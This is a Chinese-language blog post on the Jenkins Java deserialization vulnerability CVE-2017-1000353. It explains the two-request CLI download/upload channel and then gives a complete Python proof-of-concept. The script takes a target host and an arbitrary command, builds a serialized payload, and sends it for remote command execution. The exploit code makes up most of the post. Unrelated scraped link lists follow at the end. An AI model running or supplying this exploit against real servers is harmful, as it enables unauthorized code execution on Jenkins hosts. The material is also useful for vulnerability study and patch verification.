Jenkins反序列化漏洞cve-2017-1000353
一、漏洞原理:
本地没有环境:参考:https://blogs.securiteam.com/index.php/archives/3171 进行学习理解记录。
首先这是一个java反序列化漏洞,一定是command在序列化信息中,反序列化时候直接执行了该命令。
攻击过程学习:
下文的session是一个uuid,类型4
#可以如下生成
session = uuid.uuid4()
1、首先要发送一个请求,是一个下载请求。这个请求是要启动一个双向数据传输频道。频道的标识就是session。而side字段则是用来标识传输方向

对应在代码段:
def Download(url,session):
headers = {'Side':'download'}
headers['Content-type'] = 'application/x-www-form-urlencoded'
headers['Session'] = session
headers['Transfer-Encoding'] = 'chunked'
try:
response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)
except Exception,ex:
print ex
exit(0)
print response.content
然后是第二个请求:双向信道发送组件,第一个请求被阻塞,一直到第二个请求被发送。此时session与之前保持一致,side改成upload。

数据部分格式规范如下:
(1)前导码
前导码包含一个base64编码的序列化对象。“ 能力 ” 类型的序列化对象只是告诉服务器
客户端具有哪些能力(例如HTTP 分块编码)。
Premle='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
(2)Proto部分 (可能是所说的额外字节)
Proto = 'x00x00x00x00'
(3)payload部分
在前导码和一些额外的字节之后,Jenkins服务器期望类型为Command的序列化对象。由于Jenkins不验证序列化对象,所以可以发送任何序列化对象。
def Payload_Init(command):
global File_Serialization
command = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)
print command
return_number = os.system(command)
if return_number != 0:
print "Call Jar Packet To Init The Payload Error"
exit(0)
File_Serialization = open("./payload.ser","rb").read()
所有第二个数据包发送的数据整合:
def Create_Payload_Chunked():
yield Premle
yield Proto
yield File_Serialization
发送第二个数据包:
def Upload_Chunked(url,session,data):
headers = {'Side':'upload'}
headers['Session'] = session
headers['Content-type'] = 'application/octet-stream'
headers['Accept-Encoding'] = None
headers['Transfer-Encoding'] = 'chunked'
headers['Cache-Control'] = 'no-cache'
try:
response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)
except Exception,ex:
print ex
exit(0)
整个攻击流程
def Attack():
print "start"
session = str(uuid.uuid4())
thread_object = threading.Thread(target=Download,args=(Target,session))
thread_object.start()
time.sleep(1)
print "pwn"
#Upload(URL, session, create_payload())
Upload_Chunked(Target,session,"asdf")
服务器端对应处理
反序列化command对象

然后这个方法在这里被调用

返回了这个序列化好的对象cmd
read方法调用,把返回的对象赋值给了cmd,也就是被读进一个ReaderThread类型的线程。

该线程由类“ CliEndpointResponse ”中调用的“ upload ”方法触发。

在该方法中,HTTP主体数据被读取,并且调用“notify”方法来通知线程。

整体POC
# -*- coding: utf-8 -*-
"""
援引自:https://7f52.com/?p=450
重构人:陈然
公司:360企业安全集团
""" #需要引入的库文件
import os
import uuid
import gzip
import zlib
import time
import urllib
import socket
import urllib3
import requests
import threading
from optparse import OptionParser #全局变量定义:
#Proxy = {"http":"http://127.0.0.1:8090","https":"http://127.0.0.1:8090"}#HTTP、HTTPS协议代理设置
Proxy = None#HTTP、HTTPS协议代理设置
Target="http://%s:8080/cli"#攻击目标
Premle='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
Proto = 'x00x00x00x00'
File_Serialization = None
socket.setdefaulttimeout(3) #全局函数定义
def Payload_Init(command):
global File_Serialization
command = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)
print command
return_number = os.system(command)
if return_number != 0:
print "Call Jar Packet To Init The Payload Error"
exit(0)
File_Serialization = open("./payload.ser","rb").read() def Download(url,session):
headers = {'Side':'download'}
headers['Content-type'] = 'application/x-www-form-urlencoded'
headers['Session'] = session
headers['Transfer-Encoding'] = 'chunked'
try:
response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)
except Exception,ex:
print ex
exit(0)
print response.content '''
def Upload(url,session,data):
headers = {'Side':'upload'}
headers['Session'] = session
headers['Content-type'] = 'application/octet-stream'
headers['Accept-Encoding'] = None
try:
response = requests.post(url,data=data,headers=headers,proxies=Proxy)
except Exception,ex:
print ex
exit(0)
''' def Upload_Chunked(url,session,data):
headers = {'Side':'upload'}
headers['Session'] = session
headers['Content-type'] = 'application/octet-stream'
headers['Accept-Encoding'] = None
headers['Transfer-Encoding'] = 'chunked'
headers['Cache-Control'] = 'no-cache'
try:
response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)
except Exception,ex:
print ex
exit(0) def Null_Payload():
yield " " """
def Create_Payload():
payload = Premle + Proto + File_Serialization
return payload """ def Create_Payload_Chunked():
yield Premle
yield Proto
yield File_Serialization def Attack():
print "start"
session = str(uuid.uuid4())
thread_object = threading.Thread(target=Download,args=(Target,session))
thread_object.start()
time.sleep(1)
print "pwn"
#Upload(URL, session, create_payload())
Upload_Chunked(Target,session,"asdf") #程序入口
if __name__ == "__main__":
parser = OptionParser()
parser.add_option("-t","--target",dest="target",help="Target IP address!")
parser.add_option("-c","--command",dest="command",help="The command to execute!")
parser.add_option("-p","--protocol",dest="protocol",help="Protocl is HTTP or HTTPS!")
(options, args) = parser.parse_args()
optionslist = [options.target,options.command,options.protocol]
if None in optionslist or "" in optionslist:
print "Please check your input parameters!"
Target = Target%options.target
command = options.command
protocol = options.protocol
if protocol == "HTTP":
pass
elif protocol == "HTTPS":
Target = Target.replace("http","https")
else:
print "Unknown Protocol!"
Payload_Init(command)
Attack()
Jenkins反序列化漏洞cve-2017-1000353的更多相关文章
- Jenkins反序列化漏洞复现
Jenkins Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能. Jenkins功能包括: 持 ...
- fastjson反序列化漏洞历史CVE学习整理
fastjson 1.2.24反序列化漏洞复现 先写一个正常的使用 fastjson的web服务 我们使用 springboot创建 主要是pom.xml 里面要添加fastjson fastjson ...
- 学习笔记 | java反序列化漏洞分析
java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)复现
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271) -----by ba ...
- 应用安全-软件安全-漏洞CVE整理
jira ssrf CVE-2019-8451 url = url + '/plugins/servlet/gadgets/makeRequest?url=' + host + '@www.baidu ...
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- 小白审计JACKSON反序列化漏洞
1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...
- WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)
10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...
随机推荐
- CDH安装kafka
摘要:前言其实cloudera已经做了这个事了,只是把kafka的包和cdh的parcel包分离了,只要我们把分离开的kafka的服务描述jar包和服务parcel包下载了,就可以实现完美集成了.具体 ...
- OC基础--常用类的初步介绍与简单使用之NSDate
一.创建一个时间 NSDate *date = [NSDate date]; // 打印出的时间是0时区的时间(北京--东八区) NSLog(@"%@",date); 二.日期格式 ...
- Spring Session + Redis实现分布式Session共享
发表于 2016-09-29 文章目录 1. Maven依赖 2. 配置Filter 3. Spring配置文件 4. 解决Redis云服务Unable to configure Redis to k ...
- MySql C++调用库Connector/c++编译 和 接口封装【三】Connector/c++ 使用总结及封装
工程需要加上各个路径: 库使用需要几个文件: 1.include 文件夹 c/c++ /常规/附加包含目录 Connector/c++ 的安装版里面的Include 文件夹.或者把 /driver以及 ...
- 【转】淘宝技术牛p博客整理
转自:http://blog.csdn.NET/zdp072/article/details/19574793 淘宝技术委员会是由淘宝技术部高级技术人员组成的一个组织,共分为Java分会.C/C++分 ...
- tomcat安装不成功.提示:failed to install tomcat6 service ,check your setting and permissions
这个问题主要是因为旧版本卸载不完全导致的,可通过彻底删除旧版本解决,方案如下: 以管理员身份运行 命令提示符,弹出窗口 ,选择“是”,输入 sc delete tomcat5 ,或者 sc delet ...
- 【转】C# Async/Await 异步编程中的最佳做法
Async/Await 异步编程中的最佳做法 Stephen Cleary 近日来,涌现了许多关于 Microsoft .NET Framework 4.5 中新增了对 async 和 await 支 ...
- 从头认识java-18.2 主要的线程机制(7)join
这一章节我们来讨论一下join. 1.什么是join? 阻塞当前线程,让.join的线程先做完.然后再继续当前线程 以下是api的解释: A.join,在API中的解释是,阻塞当前线程B,直到A运行完 ...
- Javascript农历与公历相互转换
/**用法 * Lunar.toSolar(2016, 6, 3); 农历转化公历 * Lunar.toLunar(2016, 7, 6); 公历转化农历 */ var Lunar = { MIN_Y ...
- cake build使用:
开源地址: https://github.com/cake-build/cake 依赖 powershell 3.0 Windows 获取引导程序: Invoke-WebRequest http:// ...